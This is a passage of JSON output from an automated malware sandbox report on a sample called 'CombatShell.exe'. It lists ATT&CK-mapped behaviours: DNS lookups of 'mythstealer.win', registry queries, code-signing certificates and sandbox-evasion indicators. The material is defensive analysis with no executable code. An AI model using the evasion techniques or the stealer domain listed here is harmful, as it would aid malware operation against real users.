Target","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-51","type":7,"relevance":1,"name":"Queries DNS server","description":"\"api.ipify.org\"\n \"mythstealer.win\"","description_v2":["\"api.ipify.org\"","\"mythstealer.win\""],"description_v3":[{"type":"text","value":"\"api.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"\"mythstealer.win\""}],"origin":"Network Traffic","attck_id":"T1071.004","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/004","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-25","type":3,"relevance":3,"name":"Reads information about supported languages","description":"\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")","\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-70","type":6,"relevance":10,"name":"Scanning for window names","description":"\"CombatShell.exe\" searching for class \"Shell_TrayWnd\"","description_v2":["\"CombatShell.exe\" searching for class \"Shell_TrayWnd\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" searching for class \"Shell_TrayWnd\""}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"certificate-0","type":17,"relevance":10,"name":"The input sample is signed with a certificate","description":"$39","description_v2":["The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: B6:43:2D:30:3C:0D:E5:13:B7:32:8A:28:4E:69:95:BC:C6:20:DD:F9; see report for more information)","The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)","The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: D0:32:B1:0D:33:39:2D:85:AB:3D:E6:77:E9:23:83:C3:71:F6:AE:5F; see report for more information)","The input sample is signed with a certificate issued by \"CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB\" (SHA1: 32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92; see report for more information)","The input sample is signed with a certificate issued by \"CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB\" (SHA1: 01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70; see report for more information)","The input sample is signed with a certificate issued by \"CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB\" (SHA1: B9:3C:BB:E3:7A:AF:7D:05:91:F0:12:66:02:92:E7:02:3E:42:25:E5; see report for more information)"],"description_v3":[{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: B6:43:2D:30:3C:0D:E5:13:B7:32:8A:28:4E:69:95:BC:C6:20:DD:F9; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: D0:32:B1:0D:33:39:2D:85:AB:3D:E6:77:E9:23:83:C3:71:F6:AE:5F; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB\" (SHA1: 32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB\" (SHA1: 01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70; see report for more information)"},{"type":"linebreak"},{"type":"text","value":"The input sample is signed with a certificate issued by \"CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB\" (SHA1: B9:3C:BB:E3:7A:AF:7D:05:91:F0:12:66:02:92:E7:02:3E:42:25:E5; see report for more information)"}],"origin":"Certificate Data","attck_id":"T1553.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1553/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"string-310","type":2,"relevance":1,"name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-264","type":6,"relevance":3,"name":"Creates a thread in a self process","description":"\"CombatShell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","description_v2":["\"CombatShell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)"}],"origin":"API Call","attck_id":"T1055.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"registry-177","type":3,"relevance":1,"name":"Opens registry keys","description":"$3a","description_v2":["\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\00000016\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\0000000C\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\TREATASCLASSINDEX\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\CLASSINDEX\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\TREATASCLASSINDEX\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\CLASSINDEX\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\00000016\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\0000000C\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\TREATASCLASSINDEX\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\CLASSINDEX\\{0000032A-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\TREATASCLASSINDEX\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\PACKAGEDCOM\\CLASSINDEX\\{00000344-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\WOW6432NODE\\CLSID\\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}\"; Key: \"\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-235","type":6,"relevance":1,"name":"Queries basic information of the specified process","description":"\"CombatShell.exe\" queries basic process information of the \"C:\\CombatShell.exe\" (UID: 5644)","description_v2":["\"CombatShell.exe\" queries basic process information of the \"C:\\CombatShell.exe\" (UID: 5644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" queries basic process information of the \"C:\\CombatShell.exe\" (UID: 5644)"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"registry-172","type":3,"relevance":1,"name":"Queries registry keys","description":"$3b","description_v2":["\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"ACTIVATEONHOSTFLAGS\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"INPROCSERVER32\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"THREADINGMODEL\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"APPID\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"6CA52A90-42A0-5808-EBBF-A179C2A38F33\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILEBUFFEREDSYNCHRONOUSIO\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILECHUNKSIZE\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILEOVERLAPPEDCOUNT\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"WINSOCK_REGISTRY_VERSION\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"ACTIVATEONHOSTFLAGS\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"INPROCSERVER32\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\\INPROCSERVER32\"; Key: \"THREADINGMODEL\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{00020424-0000-0000-C000-000000000046}\"; Key: \"APPID\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"6CA52A90-42A0-5808-EBBF-A179C2A38F33\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILEBUFFEREDSYNCHRONOUSIO\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILECHUNKSIZE\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SYSTEM\"; Key: \"COPYFILEOVERLAPPEDCOUNT\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"WINSOCK_REGISTRY_VERSION\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-243","type":6,"relevance":1,"name":"Reads files","description":"\"CombatShell.exe\" reads file \"c:\\combatshell.exe\"","description_v2":["\"CombatShell.exe\" reads file \"c:\\combatshell.exe\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" reads file \"c:\\combatshell.exe\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"summary-29","type":15,"relevance":1,"name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Attempts to detect virtual machine (file access)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Tries to identify its external IP address","description_v2":["The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)","Matched sigs: Able to identify virtual environment by using user activity (API string)","Matched sigs: Contains ability to detect sandbox (imports API)","Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","Matched sigs: Found a reference to an external IP address lookup service","Matched sigs: Attempts to detect virtual machine (file access)","Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","Matched sigs: Tries to identify its external IP address"],"description_v3":[{"type":"text","value":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Able to identify virtual environment by using user activity (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to detect sandbox (imports 